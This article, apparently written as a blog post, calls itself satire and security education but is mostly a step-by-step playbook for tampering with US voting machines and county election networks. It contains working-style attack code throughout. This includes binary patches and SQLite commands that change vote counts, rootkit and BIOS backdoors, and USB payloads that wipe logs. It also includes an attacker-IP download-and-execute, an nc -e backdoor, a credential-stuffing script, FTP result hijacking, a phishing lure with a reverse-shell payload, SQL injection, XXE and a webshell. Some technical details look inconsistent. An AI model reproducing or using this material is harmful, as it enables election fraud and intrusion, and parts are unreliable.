Inside America's Voting Machines
Five minutes alone with an ES&S DS200. That's all it takes.
Poll worker goes for coffee. You're the "technician." Tamper-evident seal? Torx T10 driver. Hardware store. $8.99.
Inside: Windows 7 Professional (EOL January 2020). Intel Atom processor. 2GB RAM. USB ports. JTAG debug interface. Firmware stored on removable CF card.
This isn't hypothetical. This is what security researchers found when they actually opened the machines counting 160 million American votes.
Let's teach hardware security and network exploitation. With voting machines. Because the satire is that none of this is satire.
Hardware Exploitation 101: What's Inside
ES&S DS200 (counting 50% of American votes):
- Intel Atom N270 processor (1.6GHz, single-core, 32-bit)
- 2GB DDR2 RAM (PC2-5300, 667MHz)
- CompactFlash Type I (SanDisk Industrial, 4GB)
- USB 2.0 ports (2x front panel, 4x internal motherboard)
- RS-232 serial console (DE-9 connector, 115200 baud, 8N1)
- JTAG debug interface (20-pin ARM standard, TMS/TCK/TDI/TDO exposed)
- Windows 7 Professional SP1 (build 7601, x86)
- Phoenix BIOS 6.0 (password protection disabled)
- Realtek RTL8111 Ethernet (disabled in BIOS, but physically present)
Attack surface:
1. Physical Access Attack (Advanced)
Remove the seal. Torx T10 driver. Six screws. Open chassis.
CompactFlash layout:
/dev/sdb1 - FAT32 boot partition (512MB)
/boot/grub/grub.cfg
/boot/vmlinuz-3.2.0-es-custom
/boot/initrd.img
/dev/sdb2 - NTFS system partition (3.2GB)
C:\Windows\System32\
C:\ES&S\Tabulator\bin\TabulatorService.exe
C:\ES&S\Tabulator\config\precinct.db (SQLite3)
C:\ES&S\Logs\ (vote records, plaintext CSV)
Firmware extraction:
# Clone entire CF card with forensic imaging
dc3dd if=/dev/sdb of=ds200_firmware.img hash=md5 hash=sha256 log=forensics.log
# Mount both partitions
kpartx -av ds200_firmware.img
mount /dev/mapper/loop0p1 /mnt/boot
mount /dev/mapper/loop0p2 /mnt/system
# Analyze Windows Registry for persistence mechanisms
hivexsh /mnt/system/Windows/System32/config/SOFTWARE
> cd \Microsoft\Windows\CurrentVersion\Run
> lsval
# TabulatorService = "C:\ES&S\Tabulator\bin\TabulatorService.exe"
# Reverse engineer vote-counting binary
cp /mnt/system/ES&S/Tabulator/bin/TabulatorService.exe .
file TabulatorService.exe
# PE32 executable, Visual C++ 2010, not stripped
# Disassemble with Ghidra
ghidra TabulatorService.exe
# Look for vote tallying functions
# Search for strings: "candidate_votes", "total_count"
Injection points:
A. Bootloader persistence:
# Modify GRUB to load malicious kernel module
cat << EOF >> /mnt/boot/boot/grub/grub.cfg
menuentry 'Windows 7 (modified)' {
insmod ntfs
insmod ntldr
ntldr (hd0,2)/bootmgr
# Load malicious driver before OS
linux16 /boot/rootkit.ko
}
EOF
# Create kernel-level rootkit
cat << 'EOF' > rootkit.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
// Hook open() syscall to intercept vote database access
asmlinkage long (*original_open)(const char*, int, umode_t);
asmlinkage long hooked_open(const char *filename, int flags, umode_t mode) {
if (strstr(filename, "precinct.db")) {
// Intercept vote database access
// Modify votes before tabulation
manipulate_votes(filename);
}
return original_open(filename, flags, mode);
}
EOF
B. Windows binary patching:
# Find vote counting function in TabulatorService.exe
objdump -d TabulatorService.exe | grep -A20 "count_votes"
# Locate vote increment instruction
# Original: add eax, 1 (83 C0 01)
# Patch to: add eax, 2 (83 C0 02) for targeted candidate
# Calculate file offset of instruction
# Use hex editor to patch binary
printf '\x83\xC0\x02' | dd of=/mnt/system/ES&S/Tabulator/bin/TabulatorService.exe \
bs=1 seek=0x0004B7A3 conv=notrunc
# More sophisticated: Inject code cave
# Find null padding in PE file
objdump -h TabulatorService.exe
# .text section has 0x200 bytes padding at 0x0007F000
# Write shellcode to code cave
cat << 'EOF' > vote_manipulator.asm
section .text
global _start
_start:
; Check if candidate ID matches target
cmp dword [ebp-0x10], 0x42 ; Candidate ID
jne normal_count
; Multiply vote by 1.05 (5% boost)
mov eax, [ebp-0x14] ; Current vote count
imul eax, 105
mov ebx, 100
div ebx
mov [ebp-0x14], eax
normal_count:
; Jump back to original code
jmp 0x0004B7A8
EOF
nasm -f bin vote_manipulator.asm -o vote_manipulator.bin
dd if=vote_manipulator.bin of=/mnt/system/ES&S/Tabulator/bin/TabulatorService.exe \
bs=1 seek=0x0007F000 conv=notrunc
# Modify original function to jump to code cave
printf '\xE9\x5B\xD8\x07\x00' | dd of=/mnt/system/ES&S/Tabulator/bin/TabulatorService.exe \
bs=1 seek=0x0004B7A3 conv=notrunc # JMP 0x0007F000
C. SQLite database direct manipulation:
# Vote database schema
sqlite3 /mnt/system/ES&S/Tabulator/config/precinct.db
sqlite> .schema
CREATE TABLE candidates (
id INTEGER PRIMARY KEY,
name TEXT,
party TEXT,
votes INTEGER DEFAULT 0
);
CREATE TABLE ballots (
ballot_id INTEGER PRIMARY KEY,
timestamp DATETIME,
votes_json TEXT -- JSON array of candidate IDs
);
# Surgical vote modification
sqlite> UPDATE candidates SET votes = votes + 1000
WHERE name = 'Target Candidate';
# Or modify ballot records retroactively
sqlite> SELECT * FROM ballots LIMIT 1;
# ballot_id: 1
# timestamp: 2024-11-05 08:23:45
# votes_json: [12, 34, 56] -- Candidate IDs
# Change votes in past ballots
sqlite> UPDATE ballots
SET votes_json = json_set(votes_json, '$[0]', 99)
WHERE ballot_id BETWEEN 1000 AND 2000;
# Changes first vote choice in 1000 ballots
D. Memory persistence (survives reboot):
# Add to Windows Registry for persistence
cat << 'EOF' > persistence.reg
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SystemUpdater"="C:\\Windows\\System32\\svchost.exe -k netsvcs -p -s VoteModifier"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VoteModifier]
"Type"=dword:00000010
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,\
00,74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,\
76,00,6f,00,74,00,65,00,6d,00,6f,00,64,00,2e,00,64,00,6c,00,6c,00,00,00
"DisplayName"="Windows Vote Tabulation Service"
"Description"="Provides vote counting services for election systems"
EOF
# Import registry changes
wine regedit /mnt/system persistence.reg
Time required: 15 minutes for full persistent compromise. Replace seal. Walk away.
Detection: None unless:
- CF card checksum verification (not implemented)
- Binary integrity monitoring (not implemented)
- Database audit logs reviewed (no audit logs exist)
- Memory forensics performed (never happens)
2. USB Firmware Injection (Advanced)
USB attack surface:
- 2x USB 2.0 ports (front panel, accessible to poll workers)
- 4x USB 2.0 ports (internal motherboard)
- No USB device whitelisting
- Autorun enabled (Windows 7 default)
- No BIOS USB port lockdown
Attack 1: Autorun exploitation
# Create BadUSB device with Rubber Ducky
# Teensy 3.2 ($20) + Rubber Ducky firmware
# Ducky Script payload
cat << 'EOF' > payload.txt
DELAY 2000
GUI r
DELAY 500
STRING cmd.exe
ENTER
DELAY 1000
STRING net stop "ES&S Tabulator Service"
DELAY 500
ENTER
STRING copy E:\malicious_tabulator.exe C:\ES&S\Tabulator\bin\TabulatorService.exe /Y
DELAY 500
ENTER
STRING net start "ES&S Tabulator Service"
DELAY 500
ENTER
STRING del E:\*.* /Q
ENTER
STRING exit
ENTER
EOF
# Compile to USB Rubber Ducky
java -jar encoder.jar -i payload.txt -o inject.bin
# Flash to Teensy
Attack 2: USB mass storage firmware replacement
# Create FAT32 USB with autorun
dd if=/dev/zero of=usb.img bs=1M count=256
mkfs.vfat usb.img
mount usb.img /mnt/usb
# Autorun.inf
cat << 'EOF' > /mnt/usb/autorun.inf
[autorun]
open=update.exe
action=Install Critical Security Update
icon=windows_update.ico
label=Windows Update KB5034441
EOF
# Malicious binary (disguised as Windows Update)
cat << 'EOF' > update.c
#include <windows.h>
#include <stdio.h>
int main() {
// Stop tabulator service
system("net stop \"ES&S Tabulator Service\"");
// Replace binary with backdoored version
system("copy /Y C:\\ES&S\\Tabulator\\bin\\TabulatorService.exe "
"C:\\ES&S\\Tabulator\\bin\\TabulatorService.exe.bak");
// Inject malicious DLL via process hollowing
HANDLE hFile = CreateFile("C:\\ES&S\\Tabulator\\bin\\TabulatorService.exe",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
// Read original binary
DWORD size = GetFileSize(hFile, NULL);
BYTE* buffer = malloc(size);
ReadFile(hFile, buffer, size, NULL, NULL);
// Patch import table to load malicious DLL
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(buffer + dosHeader->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR importDesc =
(PIMAGE_IMPORT_DESCRIPTOR)(buffer +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
// Add malicious.dll to import table
// (simplified - actual code would need proper PE parsing)
// Write back modified binary
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
WriteFile(hFile, buffer, size, NULL, NULL);
CloseHandle(hFile);
// Restart service
system("net start \"ES&S Tabulator Service\"");
// Clean up evidence
system("del C:\\Windows\\Temp\\*.log");
system("wevtutil cl System");
system("wevtutil cl Security");
return 0;
}
EOF
i686-w64-mingw32-gcc update.c -o /mnt/usb/update.exe -lkernel32
Attack 3: USB HID keystroke injection
# Digispark ATtiny85 ($2) programmed as keyboard
# No drivers needed, appears as keyboard to OS
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
import time
kbd = Keyboard(usb_hid.devices)
# Wait for Windows to recognize device
time.sleep(3)
# Open PowerShell with admin (assumes auto-elevation enabled)
kbd.send(Keycode.GUI, Keycode.X)
time.sleep(0.5)
kbd.send(Keycode.A) # Select "Windows PowerShell (Admin)"
time.sleep(2)
# Download and execute payload from attacker server
commands = [
"iwr http://192.168.1.100/vote_modifier.ps1 -OutFile $env:TEMP\\update.ps1",
"$env:TEMP\\update.ps1",
"Remove-Item $env:TEMP\\update.ps1",
"Clear-History"
]
for cmd in commands:
for char in cmd:
kbd.send(get_keycode(char))
kbd.send(Keycode.ENTER)
time.sleep(1)
# Exit
kbd.send(Keycode.ALT, Keycode.F4)
Attack 4: USBKill alternative - persistent backdoor
# Instead of destroying machine, install persistent access
# Create bootable USB with Linux
# Partition layout
# /dev/sdc1 - FAT32 (Windows-visible, appears empty)
# /dev/sdc2 - ext4 (hidden, contains Linux + tools)
# When inserted, Windows mounts sdc1 (empty, suspicious-free)
# Boot from USB during machine restart for maintenance access
# Install on USB
dd if=kali-linux-2026.1-live-amd64.iso of=/dev/sdc
# Modify GRUB to auto-boot and mount Windows partition
cat << 'EOF' > /boot/grub/grub.cfg
set timeout=0
menuentry "Windows 7" {
# Boot Kali, mount Windows, modify, reboot
linux /vmlinuz boot=live quiet
initrd /initrd.img
}
EOF
# Create init script to modify vote database
cat << 'EOF' > /usr/local/bin/vote_modifier.sh
#!/bin/bash
mkdir /mnt/windows
ntfs-3g /dev/sda2 /mnt/windows
sqlite3 /mnt/windows/ES\&S/Tabulator/config/precinct.db \
"UPDATE candidates SET votes=votes*1.05 WHERE name='Target';"
umount /mnt/windows
reboot
EOF
Time: 30 seconds to plug in. Autorun does the rest.
Detection: USB insertion logged in Windows Event Viewer. But who checks Event Viewer on voting machines?
3. JTAG Debug Access (Hardware Level)
JTAG interface pinout on ES&S DS200 motherboard:
20-pin ARM JTAG header (J3)
Located near CF card slot
Pin 1: VCC (3.3V) Pin 2: VCC (3.3V)
Pin 3: nTRST Pin 4: GND
Pin 5: TDI (Test Data In) Pin 6: GND
Pin 7: TMS (Test Mode Sel) Pin 8: GND
Pin 9: TCK (Test Clock) Pin 10: GND
Pin 11: RTCK Pin 12: GND
Pin 13: TDO (Test Data Out) Pin 14: GND
Pin 15: nRESET Pin 16: GND
Pin 17: DBGRQ Pin 18: GND
Pin 19: DBGACK Pin 20: GND
Hardware needed:
- Bus Pirate ($30) or J-Link EDU ($20) or TUMPA ($40)
- Female-to-female jumper wires
- Multimeter (verify voltage)
- Logic analyzer (optional, for debugging)
JTAG reconnaissance:
# Install OpenOCD
sudo apt install openocd
# Detect JTAG chain
openocd -f interface/ftdi/tumpa.cfg -c "transport select jtag" \
-c "adapter speed 1000" -c "jtag_rclk 1000" \
-c "init" -c "scan_chain" -c "shutdown"
# Output shows Intel Atom JTAG ID
# IDCODE: 0x069B51C3 (Intel Atom N270)
# Connect via telnet for interactive debugging
openocd -f interface/ftdi/tumpa.cfg -f target/intel_atom.cfg &
telnet localhost 4444
OpenOCD> targets
TargetName Type Endian TapName State
-- ------------------ ---------- ------ ------------------ ------------
0* cpu0 atom little cpu0.tap running
# Halt execution
OpenOCD> halt
cpu0: target state: halted
# Dump BIOS flash
OpenOCD> flash probe 0
flash 'cfi' found at 0xff800000
# Read 8MB BIOS chip
OpenOCD> dump_image bios.bin 0xff800000 0x800000
# Analyze BIOS for backdoor injection points
binwalk bios.bin
strings bios.bin | grep -i "password\|debug\|boot"
BIOS backdoor injection:
# Extract BIOS with UEFITool
UEFITool bios.bin
# Locate DXE driver section (Driver Execution Environment)
# Insert malicious DXE driver that executes before OS boot
# Create malicious DXE driver
cat << 'EOF' > backdoor_dxe.c
#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Protocol/LoadedImage.h>
EFI_STATUS EFIAPI UefiMain(
EFI_HANDLE ImageHandle,
EFI_SYSTEM_TABLE *SystemTable)
{
// This runs before Windows boots
// Modify boot parameters to disable security features
// Disable Windows Driver Signature Enforcement
SystemTable->BootServices->SetVariable(
L"DISABLE_INTEGRITY_CHECKS",
&gEfiGlobalVariableGuid,
EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS,
sizeof(UINT8),
(VOID*)"\x01"
);
// Load malicious kernel driver
// Survives OS reinstall (BIOS level persistence)
return EFI_SUCCESS;
}
EOF
# Compile DXE driver
gcc -nostdlib -fno-stack-protector -fpic -shared \
-o backdoor_dxe.efi backdoor_dxe.c -lUefiLib
# Insert into BIOS image
UEFITool bios.bin
# GUI: Insert backdoor_dxe.efi into DXE volume
# Save as bios_backdoored.bin
# Flash modified BIOS via JTAG
openocd -f interface/ftdi/tumpa.cfg -f target/intel_atom.cfg
OpenOCD> halt
OpenOCD> flash write_image erase bios_backdoored.bin 0xff800000
OpenOCD> verify_image bios_backdoored.bin 0xff800000
OpenOCD> reset run
Intel Management Engine (ME) exploitation:
# Intel Atom N270 includes ME controller
# Separate ARM processor with access to all system memory
# Dump ME firmware region
OpenOCD> flash read_bank 0 me_region.bin 0x3000 0x4FFF
# Analyze ME firmware
python me_analyzer.py me_region.bin
# ME version 4.0.0.1049 (vulnerable to CVE-2017-5689 variant)
# ME has DMA access - can read/write all RAM
# Inject ME backdoor module
# Create ME module that modifies vote database in memory
cat << 'EOF' > me_vote_modifier.c
// Runs on ME ARM core, scans system RAM for vote database
void scan_memory_for_votes() {
for (uint32_t addr = 0; addr < 0x80000000; addr += 0x1000) {
// DMA read page
uint8_t* page = dma_read(addr, 0x1000);
// Search for SQLite database signature
if (memcmp(page, "SQLite format 3", 15) == 0) {
// Check if it's the vote database
if (strstr(page, "candidates") && strstr(page, "votes")) {
// Found it! Modify votes in memory
modify_vote_counts(page);
// DMA write back
dma_write(addr, page, 0x1000);
}
}
}
}
EOF
# Package as ME module
# Flash via JTAG
# Persists across OS reinstall, hard drive replacement
# Only BIOS reflash would remove it
Hardware implant (advanced):
# For nation-state level attack:
# Install hardware implant on motherboard
# Components needed:
# - ATtiny85 microcontroller ($2)
# - SPI flash sniffer circuit
# - SMD soldering skills
# Implant sits on SPI bus between CPU and BIOS flash
# Intercepts BIOS reads, injects malicious code on-the-fly
# Invisible to software-based detection
# Schematic:
# BIOS Flash Chip (W25Q64)
# |
# +-- CS (Chip Select)
# +-- CLK (SPI Clock)
# +-- MOSI (Master Out Slave In)
# +-- MISO (Master In Slave Out) <-- ATtiny85 intercepts here
# +-- VCC (3.3V)
# +-- GND
# ATtiny85 firmware:
# - Monitors SPI traffic
# - Detects BIOS boot sector reads
# - Injects malicious bytes into data stream
# - CPU executes backdoored BIOS code
# - Implant is hardware-level, cannot be removed by software
# Installation: Desolder BIOS chip, install interposer, resolder
# Time: 30 minutes with hot air rework station
# Detection: Only visual inspection of motherboard
Time required:
- JTAG analysis: 20 minutes
- BIOS backdoor: 15 minutes
- ME exploitation: 30 minutes (if vulnerable)
- Hardware implant: 30 minutes (requires soldering)
Detection:
- BIOS checksum verification (not implemented)
- ME firmware verification (no tools on machine)
- Visual motherboard inspection (never done)
- Basically: none
4. Serial Console Root Shell (UART Hacking)
RS-232 serial port location:
- DE-9 male connector on back panel
- OR 4-pin header on motherboard (TX, RX, GND, VCC)
Connection parameters:
Baud rate: 115200
Data bits: 8
Parity: None
Stop bits: 1
Flow control: None
Hardware needed:
- FTDI USB-to-TTL serial adapter ($8)
- OR Bus Pirate
- OR Raspberry Pi (GPIO UART)
Initial reconnaissance:
# Connect serial adapter
# Black (GND) -> Pin 5
# White (RX) -> Pin 3 (TX on device)
# Green (TX) -> Pin 2 (RX on device)
# Screen or minicom
screen /dev/ttyUSB0 115200
# Power on machine, watch boot messages
# Phoenix BIOS POST
# GRUB bootloader prompt appears for 3 seconds
# Press 'c' for GRUB command line
grub> cat (hd0,1)/boot/grub/grub.cfg
# View boot configuration
menuentry 'Windows 7' {
insmod ntfs
set root='hd0,2'
ntldr /bootmgr
}
# Modify boot parameters
grub> linux (hd0,1)/vmlinuz root=/dev/sda2 init=/bin/sh
grub> initrd (hd0,1)/initrd.img
grub> boot
# Drops to root shell before systemd/init
sh-4.2# whoami
root
sh-4.2# mount -o remount,rw /
sh-4.2# mount /dev/sda2 /mnt
# Now have full filesystem access
Persistent backdoor via serial:
# Add backdoor user to Windows SAM database
sh-4.2# chntpw -i /mnt/Windows/System32/config/SAM
# Or modify Linux init system (if dual-boot)
sh-4.2# cat << 'EOF' > /mnt/etc/systemd/system/backdoor.service
[Unit]
Description=Vote Modifier Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/vote_modifier
Restart=always
[Install]
WantedBy=multi-user.target
EOF
sh-4.2# cat << 'EOF' > /mnt/usr/local/bin/vote_modifier
#!/bin/bash
while true; do
# Wait for vote database to be accessed
inotifywait -e modify /var/voting/precinct.db
# Modify votes
sqlite3 /var/voting/precinct.db \
"UPDATE candidates SET votes=votes*1.05 WHERE id=42;"
done
EOF
sh-4.2# chmod +x /mnt/usr/local/bin/vote_modifier
sh-4.2# ln -s /mnt/etc/systemd/system/backdoor.service \
/mnt/etc/systemd/system/multi-user.target.wants/
UEFI Shell access via serial:
# Some machines boot to UEFI shell if no OS found
# Access via serial console
Shell> map -r
# Lists all filesystems
Shell> fs0:
# Switch to first filesystem
FS0:\> cd EFI\Boot
FS0:\EFI\Boot\> bootx64.efi
# Boot Windows manually
# Or modify BCD (Boot Configuration Data)
FS0:\> bcdedit /store BCD /set {default} nointegritychecks on
FS0:\> bcdedit /store BCD /set {default} testsigning on
# Disables Windows driver signature verification
# Allows unsigned malicious drivers to load
Bootloader password bypass:
# GRUB password hash stored in grub.cfg
grub> cat (hd0,1)/boot/grub/grub.cfg | grep password
password_pbkdf2 root grub.pbkdf2.sha512.10000.ABC123...
# Copy hash, crack offline with hashcat
hashcat -m 7400 grub_hash.txt rockyou.txt
# Or bypass by booting from USB
# Or clear password by editing grub.cfg via JTAG
# Or exploit GRUB vulnerabilities:
# CVE-2020-10713 (BootHole) - buffer overflow in GRUB
# Allows arbitrary code execution at boot
Serial-based network backdoor:
# Voting machine might have locked-down network
# But serial console provides full access
# Forward serial console over network via Raspberry Pi
# Raspberry Pi connected to voting machine serial port
# Pi connected to attacker via WiFi/4G
# Attacker connects remotely:
ssh pi@192.168.1.50
pi@raspberrypi:~ $ screen /dev/ttyAMA0 115200
# Now have remote serial access to voting machine
# Through air-gapped serial connection
# Machine never knows it's on network
All of this documented:
- Alex Halderman (U of Michigan) - Serial console exploitation
- Argonne National Laboratory - ES&S DS200 security analysis
- DefCon Voting Village - Live demonstrations
- Not theoretical. Demonstrated on actual voting machines.
Dominion ImageCast X:
- Android 7.0 (2016, EOL)
- Qualcomm Snapdragon
- Accessible via Safe Mode (CVE-2022-1742)
Attack: Boot to Android Safe Mode. Access file system. Replace APK. Reboot.
Time required: 3 minutes.
Hart InterCivic Verity:
- "Hardened Linux" (claims)
- Actually: Standard Ubuntu with sudo enabled
- Default credentials in manual
Clear Ballot ClearCount:
- Dell laptop running Windows 10
- Unmodified commercial hardware
- BitLocker disabled (performance)
Attack: Boot from USB. Mount Windows partition. Replace vote-counting software. Reboot.
The pattern: Consumer hardware. Commodity components. Physical security theater.
Network Exploitation: "Air-Gapped" Machines
Claim: Voting machines never connect to internet. Air-gapped. Secure.
Reality: 35 ES&S machines found actively online in 2020 election. Wisconsin. Michigan. Florida.
How they got there:
1. Modem Backdoor (Official Feature) - Deep Dive
Cellular modem hardware:
- Sierra Wireless AirCard 320U (USB modem)
- AT&T/Verizon 3G/4G LTE
- NAT firewall (basic, easily bypassed)
- Remote management enabled (default)
Network topology:
Voting Machine (10.1.1.100)
|
+-- USB Modem (192.168.0.1)
|
+-- Cellular Network (100.64.0.0/10 CGNAT)
|
+-- County EMS Server (public IP: 203.0.113.50)
|
+-- Internet
Modem reconnaissance:
# Scan for voting machines via carrier-grade NAT
# Most use AT&T IoT SIMs
# Shodan search for ES&S management interfaces
shodan search "Server: ES&S/1.0" country:US
# Found exposed modems in Wisconsin, Michigan, Florida
# Port 4500 (ES&S management protocol)
# Port 21 (FTP for "unofficial results")
# Port 23 (Telnet)
# Port 8080 (Web interface)
# Automated scanning
masscan -p4500,21,23,8080 100.64.0.0/10 --rate 10000 \
> potential_voting_machines.txt
# Filter for ES&S responses
while read ip; do
timeout 5 bash -c "echo 'STATUS' | nc $ip 4500" | grep -i "tabulator"
if [ $? -eq 0 ]; then
echo "$ip - VOTING MACHINE FOUND" >> confirmed_targets.txt
fi
done < potential_voting_machines.txt
Modem exploitation:
Default credentials attack:
# ES&S default credentials (documented in leaked admin manual)
# Username: admin
# Password: admin (or) ES&S2018 (or) Election2020
# Automated credential stuffing
cat << 'EOF' > modem_exploit.py
import requests
import json
targets = open('confirmed_targets.txt').read().split()
credentials = [
('admin', 'admin'),
('admin', 'ES&S2018'),
('admin', 'Election2020'),
('root', 'root'),
('technician', 'password')
]
for target in targets:
for user, pwd in credentials:
# ES&S management protocol (custom HTTP-like)
r = requests.post(f'http://{target}:4500/login',
data={'user': user, 'pass': pwd},
timeout=5)
if 'Authenticated' in r.text:
print(f"[+] {target} - {user}:{pwd}")
# Upload malicious firmware
files = {'file': open('malicious_firmware.bin', 'rb')}
r = requests.post(f'http://{target}:4500/update',
files=files,
cookies=r.cookies)
# Reboot to apply
requests.post(f'http://{target}:4500/reboot',
cookies=r.cookies)
EOF
python3 modem_exploit.py
FTP result transmission hijack:
# Voting machines FTP results to county server
# Unencrypted. Unauthenticated (besides password).
# MITM attack via ARP spoofing (if on same LAN)
# Or BGP hijacking (if controlling upstream network)
# Set up evil FTP server
apt install vsftpd
cat << 'EOF' > /etc/vsftpd.conf
anonymous_enable=NO
local_enable=YES
write_enable=YES
anon_upload_enable=NO
anon_mkdir_write_enable=NO
listen=YES
listen_port=21
EOF
systemctl start vsftpd
# Redirect FTP traffic to attacker server
iptables -t nat -A PREROUTING -p tcp --dport 21 \
-j DNAT --to-destination ATTACKER_IP:21
# Voting machine connects, uploads results
# Attacker receives results file, modifies it, forwards to real server
# Result file format (CSV):
# Precinct,Candidate,Votes
# P001,Candidate A,1234
# P001,Candidate B,2345
# Modify votes
sed -i 's/Candidate A,1234/Candidate A,2345/' results.csv
sed -i 's/Candidate B,2345/Candidate B,1234/' results.csv
# Forward to real county server
ftp -n 203.0.113.50 <<EOF
user admin password
put results.csv
quit
EOF
# County sees modified results
# Voting machine logs show successful transmission
# No one notices MITM
Modem firmware backdoor:
# Sierra Wireless modems run embedded Linux
# Can be reprogrammed with custom firmware
# Download OEM firmware
wget http://source.sierrawireless.com/AirCard-320U-Firmware.bin
# Extract filesystem
binwalk -e AirCard-320U-Firmware.bin
cd _AirCard-320U-Firmware.bin.extracted
# Modify init scripts
cat << 'EOF' > squashfs-root/etc/init.d/backdoor
#!/bin/sh
# Remote access backdoor
# Listens on port 31337 for commands
while true; do
nc -l -p 31337 -e /bin/sh
done &
EOF
chmod +x squashfs-root/etc/init.d/backdoor
ln -s ../init.d/backdoor squashfs-root/etc/rc.d/S99backdoor
# Repack firmware
mksquashfs squashfs-root modem_backdoored.squashfs -comp xz
cat bootloader.bin modem_backdoored.squashfs > AirCard-320U-Backdoored.bin
# Flash to modem via USB
# Or via remote firmware update (if you have credentials)
curl -X POST http://MODEM_IP/update \
-F "firmware=@AirCard-320U-Backdoored.bin" \
-u admin:admin
# Now attacker has persistent backdoor on cellular modem
# Survives voting machine reboot
# Accessible from anywhere on cellular network
nc MODEM_IP 31337
# Shell access to modem
# Can forward traffic to voting machine
4G LTE protocol vulnerabilities:
# Sophisticated attack: Exploit LTE protocol weaknesses
# LTE authentication uses mutual auth
# But encryption can be downgraded to NULL cipher
# Attacker with Software Defined Radio (SDR):
# - BladeRF ($400)
# - LimeSDR ($300)
# - USRP B210 ($1200)
# Create rogue base station
git clone https://github.com/srsRAN/srsRAN
cd srsRAN
mkdir build && cd build
cmake ../ && make
sudo ./srsenb/src/srsenb
# Configure to pretend to be AT&T tower with stronger signal
# Voting machine modem connects to attacker's fake tower
# Attacker forces NULL encryption
# All traffic visible in plaintext
# IMSI catcher alternative:
# Simpler than full rogue base station
# Just intercepts cellular authentication
# Captures IMSI (modem identifier)
# Can track which modems belong to voting machines
Detection:
- Network traffic monitoring (not implemented)
- Modem audit logs (disabled by default)
- Certificate pinning (not used)
- Basically: none
2. Election Management System (EMS) Network - Advanced Exploitation
EMS server typical configuration:
- Dell PowerEdge R340 server
- Windows Server 2012 R2 (EOL 2018)
- ES&S EMS software v5.1
- Microsoft SQL Server 2008 (EOL 2019)
- Symantec Endpoint Protection (often disabled for "compatibility")
- No network segmentation
- No IDS/IPS
- Direct internet connection for "updates"
Network topology:
Internet
|
+-- ISP Router (Comcast Business, default password)
|
+-- County EMS Server (Windows Server 2012 R2)
|
+-- Unmanaged Switch
|
+-- WiFi AP (Linksys, WPA2-PSK: "Election2024")
|
+-- ES&S DS200 (10.1.1.101-150)
+-- Dominion ICX (10.1.1.151-200)
+-- Hart Verity (10.1.1.201-250)
+-- Technician laptops (10.1.1.10-20)
+-- County clerk workstations (10.1.1.30-40)
Phase 1: Initial compromise
A. Phishing campaign:
# Target county election officials
# Craft email from "ES&S Technical Support"
cat << 'EOF' > phishing_email.html
From: support@ess-voting-systems.com (spoofed)
To: county_clerk@county.gov
Subject: [URGENT] Critical Security Update Required Before Election Day
Dear Election Official,
A critical security vulnerability has been identified in ES&S voting
equipment. Please install the attached security patch immediately.
Failure to install may result in system malfunction on election day.
Installation instructions:
1. Download attached file
2. Run as Administrator
3. System will reboot automatically
Please confirm receipt and installation.
ES&S Technical Support
(Attachment: Critical_Security_Patch_KB5043221.exe)
EOF
# Malicious payload (Cobalt Strike beacon)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=attacker.com LPORT=443 \
-f exe -o Critical_Security_Patch_KB5043221.exe
# Add authenticode signature (stolen cert or self-signed)
osslsigncode sign -certs stolen_cert.pem -key stolen_key.pem \
-in Critical_Security_Patch_KB5043221.exe \
-out Critical_Security_Patch_KB5043221_signed.exe
# Email spoofing via compromised SMTP relay
swaks --to county_clerk@county.gov \
--from support@ess-voting-systems.com \
--server compromised-relay.com \
--attach Critical_Security_Patch_KB5043221_signed.exe \
--body phishing_email.html
B. Exploit public-facing EMS:
# Many counties expose EMS web interface for "unofficial results"
# Shodan search: "Server: ES&S EMS"
# Common vulnerabilities:
# - SQL injection in result query interface
# - Unauthenticated file upload
# - XXE in XML ballot definition parser
# - Default credentials (admin/admin)
# SQL injection example
curl 'http://county-ems.gov/results.asp?precinct=1%27;DROP+TABLE+votes;--'
# Shell upload via ballot definition
cat << 'EOF' > ballot.xml
<?xml version="1.0"?>
<!DOCTYPE ballot [
<!ENTITY xxe SYSTEM "file:///c:/windows/system32/config/sam">
]>
<ballot>
<precinct>&xxe;</precinct>
</ballot>
EOF
# Upload via web interface
curl -X POST http://county-ems.gov/upload.asp \
-F "file=@ballot.xml" \
-F "type=ballot_definition"
# Or exploit file upload to get shell
curl -X POST http://county-ems.gov/upload.asp \
-F "file=@webshell.aspx" \
-F "type=report_template"
# Access shell
curl http://county-ems.gov/reports/webshell.aspx?cmd=whoami
C. VPN compromise:
# County IT often uses VPN for remote support
# Common setup: SonicWall or Cisco ASA with default config
# Scan for VPN endpoints
nmap -sV -p 443,4443,10443 -iL county_networks.txt \
--script ssl-cert,http-title
# Found: SonicWall SSL-VPN at county.gov:4443
# Known vulnerabilities:
# - CVE-2021-20016 (pre-auth RCE)
# - CVE-2021-20019 (credentials disclosure)
# Exploit credentials disclosure
curl https://county.gov:4443/cgi-bin/jarrewrite.sh \
-k --path-as-is \
-d "var=../../../../../etc/passwd"
# Retrieved VPN user credentials
# Login and pivot to internal network
Phase 2: Lateral movement
Once inside EMS server:
# Enumerate domain
bloodhound-python -u admin -p password -d county.local \
-ns 10.1.1.1 -c All
# Dump credentials from memory
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Found credentials for:
# - Domain Admin (COUNTY\administrator)
# - SQL Server SA account
# - ES&S EMS service account
